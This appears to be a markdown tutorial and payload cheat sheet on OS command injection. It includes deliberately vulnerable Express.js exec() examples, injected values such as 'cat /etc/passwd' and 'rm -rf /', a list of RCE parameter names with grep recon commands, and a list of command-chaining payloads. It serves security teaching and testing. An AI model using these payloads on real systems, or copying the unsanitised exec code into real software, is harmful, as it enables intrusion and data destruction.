# Command Injection OS command injection is a technique used via a web interface in order to execute OS commands on a web server. The user supplies operating system commands through a web interface in order to execute OS commands. Any web interface that is not properly sanitized is subject to this exploit. With the ability to execute OS commands, the user can upload malicious programs or even obtain passwords. ### Identify and assess the command injection points: * Web Forms * URL Parameters * Search Fields * File Upload Inputs * Backup and Restore Scripts * User Management Scripts When viewing a file in a web application, the filename is often shown in the URL. Perl allows piping data from a process into an open statement. The user can simply append the Pipe symbol `|` onto the end of the filename. **Example URL before alteration:** `http://sensitive/cgi-bin/userData.pl?doc=user1.txt` **Example URL modified:** `http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|` This will execute the command `/bin/ls`. Appending a semicolon to the end of a URL for a .PHP page followed by an operating system command, will execute the command. `%3B` is URL encoded and decodes to semicolon `http://sensitive/something.php?dir=%3Bcat%20/etc/passwd` ----- ### Special Characters for Command Injection The following special character can be used for command injection such as `|` `;` `&` `$` `>` `<` `'` `!` * `cmd1|cmd2` : Uses of `|` will make command 2 to be executed whether command 1 execution is successful or not. * `cmd1;cmd2` : Uses of `;` will make command 2 to be executed whether command 1 execution is successful or not. * `cmd1||cmd2` : Command 2 will only be executed if command 1 execution fails. * `cmd1&&cmd2` : Command 2 will only be executed if command 1 execution succeeds. * `$(cmd)` : For example, `echo $(whoami)` or `$(touch test.sh; echo 'ls' > test.sh)` * `cmd` : It’s used to execute a specific command. For example, `whoami` * `>(cmd)` : `>(ls)` * `<(cmd)` : `<(ls)` ### Code Review Dangerous API Be aware of the uses of following API as it may introduce the command injection risks. **Java** Runtime.exec() **C/C++** system exec ShellExecute **Python** exec eval os.system os.popen subprocess.popen subprocess.call **PHP** system shell_exec exec proc_open eval ----- ### Example: Display the content of a file using the file name received from the URL ```javascript const express = require('express'); const { exec } = require('child_process'); const app = express(); app.get('/viewfile', (req, res) => { const filename = req.query.file; exec(`cat ${filename}`, (err, stdout, stderr) => { if (err) { res.send(`Error: ${stderr}`); return; } res.send(`
${stdout}`); }); }); app.listen(3000, () => { console.log('Server running on port 3000'); }); ``` * **Injection point => URL** `http://localhost:3000/viewfile?file=filename` If the attacker instead of **Filename**, a destructive amount like `rm -rf / ;` Enter, the malicious order is executed. ### Example: Run Search in Files using the form input from the user ```javascript const express = require('express'); const { exec } = require('child_process'); const app = express(); app.use(express.urlencoded({ extended: true })); app.post('/search', (req, res) => { const searchTerm = req.body.search; exec(`grep '${searchTerm}' /var/www/files/*`, (err, stdout, stderr) => { if (err) { res.send(`Error: ${stderr}`); return; } res.send(`
${stdout}`); }); }); app.listen(3000, () => { console.log('Server running on port 3000'); }); ``` * **Injection point => HTML Form** If the attacker in the **search field** is a destructive amount like `rm -rf / ;` Enter, the malicious order is executed. ```html ``` ### Example: Consider the case of an application that contains a set of documents that you can browse from the Internet. If you fire up a personal proxy (such as ZAP or Burp Suite), you can obtain a POST HTTP like the following (`http://www.example.com/public/doc`): ```html POST /public/doc HTTP/1.1 Host: www.example.com [...] Referer: http://127.0.0.1/WebGoat/attack?Screen=20 Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5 Authorization: Basic T2Vbc1Q9Z3V2Tc3e= Content-Type: application/x-www-form-urlencoded Content-length: 33 Doc=Doc1.pdf ``` In this post request, we notice how the application retrieves the public documentation. Now we can test if it is possible to add an operating system command to inject in the POST HTTP. Try the following (`http://www.example.com/public/doc`): ```html POST /public/doc HTTP/1.1 Host: www.example.com [...] Referer: http://127.0.0.1/WebGoat/attack?Screen=20 Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5 Authorization: Basic T2Vbc1Q9Z3V2Tc3e= Content-Type: application/x-www-form-urlencoded Content-length: 33 Doc=Doc1.pdf+|+Dir c:\ ``` If the application doesn’t validate the request, we can obtain the following result: ```html Exec Results for 'cmd.exe /c type "C:\httpd\public\doc\"Doc=Doc1.pdf+|+Dir c:\' Output... Il volume nell'unità C non ha etichetta. Numero di serie Del volume: 8E3F-4B61 Directory of c:\ 18/10/2006 00:27 2,675 Dir_Prog.txt 18/10/2006 00:28 3,887 Dir_ProgFile.txt 16/11/2006 10:43 Doc 11/11/2006 17:25 Documents and Settings 25/10/2006 03:11 I386 14/11/2006 18:51 h4ck3r 30/09/2005 21:40 25,934 ``` In this case, we have successfully performed an **OS injection** attack. ----- ### Manual Test * Bug Hunters Injecting specific characters (such as `;`, `&&`, `||`, `|`, `&`) at different program inputs, they check whether the operating system commands can be injected. **Example:** In the search form, instead of entering the ordinary text, inputs like `test; ls` or `test && whoami` and check if these commands are executed. **Note:** Examine unexpected responses from the server that may indicate the execution of the injected commands. * **Using known Payloads** Injection of values such as `$(Whoami)` or `${7*7}` in input parameters. ## Top 25 Remote Code Execution (RCE) Parameters Here are the top 25 parameters that could be vulnerable to code injection and similar RCE vulnerabilities ```bash ?cmd={payload} ?exec={payload} ?command={payload} ?execute{payload} ?ping={payload} ?query={payload} ?jump={payload} ?code={payload} ?reg={payload} ?do={payload} ?func={payload} ?arg={payload} ?option={payload} ?load={payload} ?process={payload} ?step={payload} ?read={payload} ?function={payload} ?req={payload} ?feature={payload} ?exe={payload} ?module={payload} ?payload={payload} ?run={payload} ?print={payload} ``` * Example ```bash # method 1 cat target_all_url.txt | grep -E "?print=|?run=|?payload=|?module=|?exe=|?feature=|?req=|?function=|?read=|?step=|?process=|?load=|?option=|?arg=|?func=|?do=|?reg=|?code=|?jump=|?query=|?ping=|?execute=|?command=|?exec=|?cmd=" # method 2 grep -F -f command-injection-params.txt all-urls.txt ``` ### Command Injection/Execution ```bash #Both Unix and Windows supported ls||id; ls ||id; ls|| id; ls || id # Execute both ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe) ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º ls %0A id # %0A Execute both (RECOMMENDED) #Only unix supported `ls` # `` $(ls) # $() ls; id # ; Chain commands ls${LS_COLORS:10:1}${IFS}id # Might be useful #Not executed but may be interesting > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command ```